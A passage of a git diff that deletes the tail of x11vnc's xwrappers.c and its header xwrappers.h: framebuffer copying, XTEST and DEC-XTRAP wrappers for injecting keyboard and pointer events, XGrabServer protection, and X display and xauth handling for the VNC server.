- src = raw_fb_addr + raw_fb_offset + bpl*y + pixelsize*x;
- dst = dest->data;
-
-if (db) fprintf(stderr, "bpl: %d, dest->bytes_per_line: %d, w: %d h: %d dpy_x: %d wdpy_x: %d cdpy_x: %d bpp: %d pixelsize: %d\n", bpl, dest->bytes_per_line, w, h, dpy_x, wdpy_x, cdpy_x, bpp, pixelsize);
-
- for (line = 0; line < h; line++) {
- memcpy(dst, src, w * pixelsize);
- src += bpl;
- dst += dest->bytes_per_line;
- }
-
- } else {
- /* lseek */
- int n, len, del, sz = w * pixelsize;
- off_t off;
- int bpl = raw_fb_bytes_per_line;
-
- if (clipshift && wdpy_x != cdpy_x) {
- bpl = wdpy_x * pixelsize;
- }
-
- off = (off_t) (raw_fb_offset + bpl*y + pixelsize*x);
-
- lseek(raw_fb_fd, off, SEEK_SET);
- dst = dest->data;
-
-if (db) fprintf(stderr, "lseek 0 ps: %d sz: %d off: %d bpl: %d\n", pixelsize, sz, (int) off, bpl);
-
- for (line = 0; line < h; line++) {
- len = sz;
- del = 0;
- while (len > 0) {
- n = read(raw_fb_fd, dst + del, len);
-
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
- if (bpl > sz) {
- off = (off_t) (bpl - sz);
- lseek(raw_fb_fd, off, SEEK_CUR);
- }
- dst += dest->bytes_per_line;
- }
- }
-}
-
-void copy_image(XImage *dest, int x, int y, unsigned int w, unsigned int h) {
- /* default (w=0, h=0) is the fill the entire XImage */
- if (dest == NULL) {
- return;
- }
- if (w < 1) {
- w = dest->width;
- }
- if (h < 1) {
- h = dest->height;
- }
-
- if (raw_fb) {
- copy_raw_fb(dest, x, y, w, h);
-
- } else if (use_snapfb && snap_fb && dest != snaprect) {
- char *src, *dst;
- unsigned int line;
- int pixelsize = bpp/8;
-
- src = snap->data + snap->bytes_per_line*y + pixelsize*x;
- dst = dest->data;
- for (line = 0; line < h; line++) {
- memcpy(dst, src, w * pixelsize);
- src += snap->bytes_per_line;
- dst += dest->bytes_per_line;
- }
-
- } else if ((using_shm && ! xform24to32) && (int) w == dest->width &&
- (int) h == dest->height) {
- XShmGetImage_wr(dpy, window, dest, x, y, AllPlanes);
-
- } else {
- XGetSubImage_wr(dpy, window, x, y, w, h, AllPlanes,
- ZPixmap, dest, 0, 0);
- }
-}
-
-#define DEBUG_SKIPPED_INPUT(dbg, str) \
- if (dbg) { \
- rfbLog("skipped input: %s\n", str); \
- }
-
-void init_track_keycode_state(void) {
- int i;
- for (i=0; i<256; i++) {
- keycode_state[i] = 0;
- }
- get_keystate(keycode_state);
-}
-
-static void upup_downdown_warning(KeyCode key, Bool down) {
- RAWFB_RET_VOID
-#if NO_X11
- if (!key || !down) {}
- return;
-#else
- if ((down ? 1:0) == keycode_state[(int) key]) {
- char *str = XKeysymToString(XKeycodeToKeysym(dpy, key, 0));
- rfbLog("XTestFakeKeyEvent: keycode=0x%x \"%s\" is *already* "
- "%s\n", key, str ? str : "null", down ? "down":"up");
- }
-#endif /* NO_X11 */
-}
-
-/*
- * wrappers for XTestFakeKeyEvent, etc..
- * also for XTrap equivalents XESimulateXEventRequest
- */
-
-void XTRAP_FakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay) {
-
- RAWFB_RET_VOID
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !key || !down || !delay) {}
- return;
-#else
-
- if (! xtrap_present) {
- DEBUG_SKIPPED_INPUT(debug_keyboard, "keyboard: no-XTRAP");
- return;
- }
- /* unused vars warning: */
- if (key || down || delay) {}
-
-# if LIBVNCSERVER_HAVE_LIBXTRAP
- XESimulateXEventRequest(trap_ctx, down ? KeyPress : KeyRelease,
- key, 0, 0, 0);
- if (debug_keyboard) {
- upup_downdown_warning(key, down);
- }
- keycode_state[(int) key] = down ? 1 : 0;
-# else
- DEBUG_SKIPPED_INPUT(debug_keyboard, "keyboard: no-XTRAP-build");
-# endif
-
-#endif /* NO_X11 */
-}
-
-void XTestFakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay) {
- static int first = 1;
- int regrab = 0;
-
- RAWFB_RET_VOID
-
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !key || !down || !delay || !first) {}
- return;
-#else
- if (debug_keyboard) {
- char *str = XKeysymToString(XKeycodeToKeysym(dpy, key, 0));
- rfbLog("XTestFakeKeyEvent(dpy, keycode=0x%x \"%s\", %s)\n",
- key, str ? str : "null", down ? "down":"up");
- }
- if (first) {
- init_track_keycode_state();
- first = 0;
- }
- if (down) {
- last_keyboard_keycode = -key;
- } else {
- last_keyboard_keycode = key;
- }
-
- if (grab_kbd) {
- XUngrabKeyboard(dpy, CurrentTime);
- regrab = 1;
- }
- if (grab_ptr && ungrab_both) {
- XUngrabPointer(dpy, CurrentTime);
- regrab = 1;
- }
-
- if (xtrap_input) {
- XTRAP_FakeKeyEvent_wr(dpy, key, down, delay);
- if (regrab) {
- adjust_grabs(1, 1);
- }
- return;
- }
-
- if (! xtest_present) {
- DEBUG_SKIPPED_INPUT(debug_keyboard, "keyboard: no-XTEST");
- return;
- }
- if (debug_keyboard) {
- rfbLog("calling XTestFakeKeyEvent(%d, %d) %.4f\n",
- key, down, dnowx());
- }
-#if LIBVNCSERVER_HAVE_XTEST
- XTestFakeKeyEvent(dpy, key, down, delay);
- if (regrab) {
- adjust_grabs(1, 1);
- }
- if (debug_keyboard) {
- upup_downdown_warning(key, down);
- }
- keycode_state[(int) key] = down ? 1 : 0;
-#endif
-
-#endif /* NO_X11 */
-}
-
-void XTRAP_FakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay) {
-
- RAWFB_RET_VOID
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !button || !is_press || !delay) {}
- return;
-#else
-
- if (! xtrap_present) {
- DEBUG_SKIPPED_INPUT(debug_keyboard, "button: no-XTRAP");
- return;
- }
- /* unused vars warning: */
- if (button || is_press || delay) {}
-
-#if LIBVNCSERVER_HAVE_LIBXTRAP
- XESimulateXEventRequest(trap_ctx,
- is_press ? ButtonPress : ButtonRelease, button, 0, 0, 0);
-#else
- DEBUG_SKIPPED_INPUT(debug_keyboard, "button: no-XTRAP-build");
-#endif
-
-#endif /* NO_X11 */
-}
-
-void XTestFakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay) {
- int regrab = 0;
-
- RAWFB_RET_VOID
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !button || !is_press || !delay) {}
- return;
-#else
-
- if (grab_ptr) {
- XUngrabPointer(dpy, CurrentTime);
- regrab = 1;
- }
- if (grab_kbd && ungrab_both) {
- XUngrabKeyboard(dpy, CurrentTime);
- regrab = 1;
- }
-
- if (xtrap_input) {
- XTRAP_FakeButtonEvent_wr(dpy, button, is_press, delay);
- if (regrab) {
- adjust_grabs(1, 1);
- }
- return;
- }
-
- if (! xtest_present) {
- DEBUG_SKIPPED_INPUT(debug_keyboard, "button: no-XTEST");
- return;
- }
- if (debug_pointer) {
- rfbLog("calling XTestFakeButtonEvent(%d, %d) %.4f\n",
- button, is_press, dnowx());
- }
-#if LIBVNCSERVER_HAVE_XTEST
- XTestFakeButtonEvent(dpy, button, is_press, delay);
-#endif
- if (regrab) {
- adjust_grabs(1, 1);
- }
-#endif /* NO_X11 */
-}
-
-void XTRAP_FakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay) {
-
- RAWFB_RET_VOID
-
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !screen || !x || !y || !delay) {}
- return;
-#else
- if (! xtrap_present) {
- DEBUG_SKIPPED_INPUT(debug_keyboard, "motion: no-XTRAP");
- return;
- }
- /* unused vars warning: */
- if (dpy || screen || x || y || delay) {}
-
-#if LIBVNCSERVER_HAVE_LIBXTRAP
- XESimulateXEventRequest(trap_ctx, MotionNotify, 0, x, y, 0);
-#else
- DEBUG_SKIPPED_INPUT(debug_keyboard, "motion: no-XTRAP-build");
-#endif
-
-#endif /* NO_X11 */
-}
-
-void XTestFakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay) {
- int regrab = 0;
-
- RAWFB_RET_VOID
-#if NO_X11
- nox11_exit(1);
- if (!dpy || !screen || !x || !y || !delay) {}
- return;
-#else
-
- if (grab_ptr) {
- XUngrabPointer(dpy, CurrentTime);
- regrab = 1;
- }
- if (grab_kbd && ungrab_both) {
- XUngrabKeyboard(dpy, CurrentTime);
- regrab = 1;
- }
-
- if (xtrap_input) {
- XTRAP_FakeMotionEvent_wr(dpy, screen, x, y, delay);
- if (regrab) {
- adjust_grabs(1, 1);
- }
- return;
- }
-
- if (debug_pointer) {
- rfbLog("calling XTestFakeMotionEvent(%d, %d) %.4f\n",
- x, y, dnowx());
- }
-#if LIBVNCSERVER_HAVE_XTEST
- XTestFakeMotionEvent(dpy, screen, x, y, delay);
-#endif
- if (regrab) {
- adjust_grabs(1, 1);
- }
-#endif /* NO_X11 */
-}
-
-Bool XTestCompareCurrentCursorWithWindow_wr(Display* dpy, Window w) {
- if (! xtest_present) {
- return False;
- }
- RAWFB_RET(False)
-
-#if LIBVNCSERVER_HAVE_XTEST
- return XTestCompareCurrentCursorWithWindow(dpy, w);
-#else
- if (!w) {}
- return False;
-#endif
-}
-
-Bool XTestCompareCursorWithWindow_wr(Display* dpy, Window w, Cursor cursor) {
- if (! xtest_present) {
- return False;
- }
- RAWFB_RET(False)
-#if LIBVNCSERVER_HAVE_XTEST
- return XTestCompareCursorWithWindow(dpy, w, cursor);
-#else
- if (!dpy || !w || !cursor) {}
- return False;
-#endif
-}
-
-Bool XTestQueryExtension_wr(Display *dpy, int *ev, int *er, int *maj,
- int *min) {
- RAWFB_RET(False)
-#if LIBVNCSERVER_HAVE_XTEST
- return XTestQueryExtension(dpy, ev, er, maj, min);
-#else
- if (!dpy || !ev || !er || !maj || !min) {}
- return False;
-#endif
-}
-
-void XTestDiscard_wr(Display *dpy) {
- if (! xtest_present) {
- return;
- }
- RAWFB_RET_VOID
-#if LIBVNCSERVER_HAVE_XTEST
- XTestDiscard(dpy);
-#else
- if (!dpy) {}
-#endif
-}
-
-Bool XETrapQueryExtension_wr(Display *dpy, int *ev, int *er, int *op) {
- RAWFB_RET(False)
-#if LIBVNCSERVER_HAVE_LIBXTRAP
- return XETrapQueryExtension(dpy, (INT32 *)ev, (INT32 *)er,
- (INT32 *)op);
-#else
- /* unused vars warning: */
- if (ev || er || op) {}
- return False;
-#endif
-}
-
-int XTestGrabControl_wr(Display *dpy, Bool impervious) {
- if (! xtest_present) {
- return 0;
- }
- RAWFB_RET(0)
-#if LIBVNCSERVER_HAVE_XTEST && LIBVNCSERVER_HAVE_XTESTGRABCONTROL
- XTestGrabControl(dpy, impervious);
- return 1;
-#else
- if (!dpy || !impervious) {}
- return 0;
-#endif
-}
-
-int XTRAP_GrabControl_wr(Display *dpy, Bool impervious) {
- if (! xtrap_present) {
- /* unused vars warning: */
- if (dpy || impervious) {}
- return 0;
- }
- RAWFB_RET(0)
-#if LIBVNCSERVER_HAVE_LIBXTRAP
- else {
- ReqFlags requests;
-
- if (! impervious) {
- if (trap_ctx) {
- XEFreeTC(trap_ctx);
- }
- trap_ctx = NULL;
- return 1;
- }
-
- if (! trap_ctx) {
- trap_ctx = XECreateTC(dpy, 0, NULL);
- if (! trap_ctx) {
- rfbLog("DEC-XTRAP XECreateTC failed. Watch "
- "out for XGrabServer from wm's\n");
- return 0;
- }
- XEStartTrapRequest(trap_ctx);
- memset(requests, 0, sizeof(requests));
- BitTrue(requests, X_GrabServer);
- BitTrue(requests, X_UngrabServer);
- XETrapSetRequests(trap_ctx, True, requests);
- XETrapSetGrabServer(trap_ctx, True);
- }
- return 1;
- }
-#endif
- return 0;
-}
-
-void disable_grabserver(Display *in_dpy, int change) {
- int ok = 0;
- static int didmsg = 0;
-
- if (debug_grabs) {
- fprintf(stderr, "disable_grabserver/%d %.5f\n",
- xserver_grabbed, dnowx());
- didmsg = 0;
- }
-
- if (! xtrap_input) {
- if (XTestGrabControl_wr(in_dpy, True)) {
- if (change) {
- XTRAP_GrabControl_wr(in_dpy, False);
- }
- if (! didmsg && ! raw_fb_str) {
- rfbLog("GrabServer control via XTEST.\n");
- didmsg = 1;
- }
- ok = 1;
- } else {
- if (XTRAP_GrabControl_wr(in_dpy, True)) {
- ok = 1;
- if (! didmsg && ! raw_fb_str) {
- rfbLog("Using DEC-XTRAP for protection"
- " from XGrabServer.\n");
- didmsg = 1;
- }
- }
- }
- } else {
- if (XTRAP_GrabControl_wr(in_dpy, True)) {
- if (change) {
- XTestGrabControl_wr(in_dpy, False);
- }
- if (! didmsg && ! raw_fb_str) {
- rfbLog("GrabServer control via DEC-XTRAP.\n");
- didmsg = 1;
- }
- ok = 1;
- } else {
- if (XTestGrabControl_wr(in_dpy, True)) {
- ok = 1;
- if (! didmsg && ! raw_fb_str) {
- rfbLog("DEC-XTRAP XGrabServer "
- "protection not available, "
- "using XTEST.\n");
- didmsg = 1;
- }
- }
- }
- }
- if (! ok && ! didmsg) {
- rfbLog("*********************************************************\n");
- rfbLog("* No XTEST or DEC-XTRAP protection from XGrabServer !!! *\n");
- rfbLog("* DEADLOCK if your window manager calls XGrabServer !!! *\n");
- rfbLog("*********************************************************\n");
- }
- XFlush_wr(in_dpy);
-}
-
-Bool XRecordQueryVersion_wr(Display *dpy, int *maj, int *min) {
- RAWFB_RET(False)
-#if LIBVNCSERVER_HAVE_RECORD
- return XRecordQueryVersion(dpy, maj, min);
-#else
- if (!dpy || !maj || !min) {}
- return False;
-#endif
-}
-
-int xauth_raw(int on) {
- char tmp[] = "/tmp/x11vnc-xauth.XXXXXX";
- int tmp_fd = -1;
- static char *old_xauthority = NULL;
- static char *old_tmp = NULL;
- int db = 0;
-
- if (on) {
- if (old_xauthority) {
- free(old_xauthority);
- old_xauthority = NULL;
- }
- if (old_tmp) {
- free(old_tmp);
- old_tmp = NULL;
- }
- if (xauth_raw_data) {
- tmp_fd = mkstemp(tmp);
- if (tmp_fd < 0) {
- rfbLog("could not create tmp xauth file: %s\n", tmp);
- return 0;
- }
- if (db) fprintf(stderr, "XAUTHORITY tmp: %s\n", tmp);
- write(tmp_fd, xauth_raw_data, xauth_raw_len);
- close(tmp_fd);
- if (getenv("XAUTHORITY")) {
- old_xauthority = strdup(getenv("XAUTHORITY"));
- } else {
- old_xauthority = strdup("");
- }
- set_env("XAUTHORITY", tmp);
- old_tmp = strdup(tmp);
- }
- return 1;
- } else {
- if (old_xauthority) {
- if (!strcmp(old_xauthority, "")) {
- char *xauth = getenv("XAUTHORITY");
- if (xauth) {
- *(xauth-2) = '_'; /* yow */
- }
- } else {
- set_env("XAUTHORITY", old_xauthority);
- }
- free(old_xauthority);
- old_xauthority = NULL;
- }
- if (old_tmp) {
- unlink(old_tmp);
- free(old_tmp);
- old_tmp = NULL;
- }
- return 1;
- }
-}
-
-Display *XOpenDisplay_wr(char *display_name) {
- Display *d = NULL;
- int db = 0;
-
- if (! xauth_raw(1)) {
- return NULL;
- }
-#if NO_X11
- rfbLog("This x11vnc was built without X11 support (-rawfb only).\n");
- if (!display_name || !d || !db) {}
- return NULL;
-#else
-
- d = XOpenDisplay(display_name);
- if (db) fprintf(stderr, "XOpenDisplay_wr: %s %p\n", display_name, (void *)d);
-
- if (d == NULL && !getenv("NO_XAUTHLOCALHOSTNAME")) {
- char *xalhn = getenv("XAUTHLOCALHOSTNAME");
- if (1 || !xalhn) {
- rfbLog("XOpenDisplay(\"%s\") failed.\n",
- display_name ? display_name : "");
- rfbLog("Trying again with XAUTHLOCALHOSTNAME=localhost ...\n");
- set_env("XAUTHLOCALHOSTNAME", "localhost");
- d = XOpenDisplay(display_name);
- if (d == NULL && xalhn) {
- char *ptr = getenv("XAUTHLOCALHOSTNAME");
- if (ptr) {
- *(ptr-2) = '_'; /* yow */
- rfbLog("XOpenDisplay(\"%s\") failed.\n",
- display_name ? display_name : "");
- rfbLog("Trying again with unset XAUTHLOCALHOSTNAME ...\n");
- d = XOpenDisplay(display_name);
- }
- }
- }
- }
-
- xauth_raw(0);
-
- return d;
-#endif /* NO_X11 */
-}
-
-int XCloseDisplay_wr(Display *display) {
- int db = 0;
- if (db) fprintf(stderr, "XCloseDisplay_wr: %p\n", (void *)display);
-#if NO_X11
- return 0;
-#else
- return XCloseDisplay(display);
-#endif /* NO_X11 */
-}
-
-static unsigned int Bmask = (Button1Mask|Button2Mask|Button3Mask|Button4Mask|Button5Mask);
-static unsigned int Mmask = (ShiftMask|LockMask|ControlMask|Mod1Mask|Mod2Mask|Mod3Mask|Mod4Mask|Mod5Mask);
-
-static unsigned int last_local_button_mask = 0;
-static unsigned int last_local_mod_mask = 0;
-static int last_local_x = 0;
-static int last_local_y = 0;
-
-Bool XQueryPointer_wr(Display *display, Window w, Window *root_return,
- Window *child_return, int *root_x_return, int *root_y_return,
- int *win_x_return, int *win_y_return, unsigned int *mask_return) {
-#if NO_X11
- if (!display || !w || !root_return || !child_return || !root_x_return
- || !root_y_return || !win_x_return || !win_y_return || !mask_return) {}
- return False;
-#else
- Bool rc;
- XErrorHandler old_handler;
-
-
- if (! display) {
- return False;
- }
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- rc = XQueryPointer(display, w, root_return, child_return,
- root_x_return, root_y_return, win_x_return, win_y_return,
- mask_return);
-
- XSetErrorHandler(old_handler);
- if (trapped_xerror) {
- rc = 0;
- }
- if (rc) {
- display_button_mask = (*mask_return) & Bmask;
- display_mod_mask = (*mask_return) & Mmask;
- if (last_local_button_mask != display_button_mask) {
- got_local_pointer_input++;
- } else if (*root_x_return != last_local_x ||
- *root_y_return != last_local_y) {
- got_local_pointer_input++;
- }
- last_local_button_mask = display_button_mask;
- last_local_mod_mask = display_mod_mask;
- last_local_x = *root_x_return;
- last_local_y = *root_y_return;
- }
- return rc;
-#endif /* NO_X11 */
-}
-
-
-Status XQueryTree_wr(Display *display, Window w, Window *root_return,
- Window *parent_return, Window **children_return,
- unsigned int *nchildren_return) {
-
-#ifdef MACOSX
- if (macosx_console) {
- return macosx_xquerytree(w, root_return, parent_return,
- children_return, nchildren_return);
- }
-#endif
-#if NO_X11
- if (!display || !w || !root_return || !parent_return
- || !children_return || !nchildren_return) {}
- return (Status) 0;
-#else
- if (! display) {
- return (Status) 0;
- }
- return XQueryTree(display, w, root_return, parent_return,
- children_return, nchildren_return);
-#endif /* NO_X11 */
-
-}
-
-int XFree_wr(void *data) {
- if (data == NULL) {
- return 1;
- }
- if (! dpy) {
- return 1;
- }
-#if NO_X11
- return 1;
-#else
- return XFree(data);
-#endif
-}
-
-int XSelectInput_wr(Display *display, Window w, long event_mask) {
-#if NO_X11
- if (!display || !w || !event_mask) {}
- return 0;
-#else
- int rc;
- XErrorHandler old_handler;
- if (display == NULL || w == None) {
- return 0;
- }
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- rc = XSelectInput(display, w, event_mask);
- XSetErrorHandler(old_handler);
- if (trapped_xerror) {
- rc = 0;
- }
- return rc;
-#endif
-}
-
-void nox11_exit(int rc) {
-#if NO_X11
- rfbLog("This x11vnc was not built with X11 support.\n");
- clean_up_exit(rc);
-#else
- if (0) {rc = 0;}
-#endif
-}
-
-
-#if NO_X11
-#include "nox11_funcs.h"
-#endif
-
diff --git a/x11vnc/xwrappers.h b/x11vnc/xwrappers.h
deleted file mode 100644
index f1e0fbf..0000000
--- a/x11vnc/xwrappers.h
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XWRAPPERS_H
-#define _X11VNC_XWRAPPERS_H
-
-/* -- xwrappers.h -- */
-
-extern int xshm_present;
-extern int xshm_opcode;
-extern int xtest_present;
-extern int xtrap_present;
-extern int xrecord_present;
-extern int xkb_present;
-extern int xinerama_present;
-
-extern int keycode_state[];
-extern int rootshift;
-extern int clipshift;
-
-
-extern int guess_bits_per_color(int bits_per_pixel);
-
-extern int XFlush_wr(Display *disp);
-
-extern Status XShmGetImage_wr(Display *disp, Drawable d, XImage *image, int x, int y,
- unsigned long mask);
-extern XImage *XShmCreateImage_wr(Display* disp, Visual* vis, unsigned int depth,
- int format, char* data, XShmSegmentInfo* shminfo, unsigned int width,
- unsigned int height);
-extern Status XShmAttach_wr(Display *disp, XShmSegmentInfo *shminfo);
-extern Status XShmDetach_wr(Display *disp, XShmSegmentInfo *shminfo);
-extern Bool XShmQueryExtension_wr(Display *disp);
-extern int XShmGetEventBase_wr(Display *disp);
-
-extern XImage *xreadscreen(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, Bool show_cursor);
-extern XImage *XGetSubImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format, XImage *dest_image, int dest_x, int dest_y);
-extern XImage *XGetImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format);
-extern XImage *XCreateImage_wr(Display *disp, Visual *visual, unsigned int depth,
- int format, int offset, char *data, unsigned int width,
- unsigned int height, int bitmap_pad, int bytes_per_line);
-extern void copy_image(XImage *dest, int x, int y, unsigned int w, unsigned int h);
-extern void copy_raw_fb(XImage *dest, int x, int y, unsigned int w, unsigned int h);
-extern void init_track_keycode_state(void);
-
-extern void XTRAP_FakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay);
-extern void XTestFakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay);
-extern void XTRAP_FakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay);
-extern void XTestFakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay);
-extern void XTRAP_FakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay);
-extern void XTestFakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay);
-
-extern Bool XTestCompareCurrentCursorWithWindow_wr(Display* dpy, Window w);
-extern Bool XTestCompareCursorWithWindow_wr(Display* dpy, Window w, Cursor cursor);
-extern Bool XTestQueryExtension_wr(Display *dpy, int *ev, int *er, int *maj,
- int *min);
-extern void XTestDiscard_wr(Display *dpy);
-extern Bool XETrapQueryExtension_wr(Display *dpy, int *ev, int *er, int *op);
-extern int XTestGrabControl_wr(Display *dpy, Bool impervious);
-extern int XTRAP_GrabControl_wr(Display *dpy, Bool impervious);
-extern void disable_grabserver(Display *in_dpy, int change);
-
-extern Bool XRecordQueryVersion_wr(Display *dpy, int *maj, int *min);
-
-extern int xauth_raw(int on);
-extern Display *XOpenDisplay_wr(char *display_name);
-extern int XCloseDisplay_wr(Display *display);
-
-extern Bool XQueryPointer_wr(Display *display, Window w, Window *root_return,
- Window *child_return, int *root_x_return, int *root_y_return,
- int *win_x_return, int *win_y_return, unsigned int *mask_return);
-
-extern Status XQueryTree_wr(Display *display, Window w, Window *root_return,
- Window *parent_return, Window **children_return,
- unsigned int *nchildren_return);
-
-extern int XFree_wr(void *data);
-extern int XSelectInput_wr(Display *display, Window w, long event_mask);
-
-
-#endif /* _X11VNC_XWRAPPERS_H */
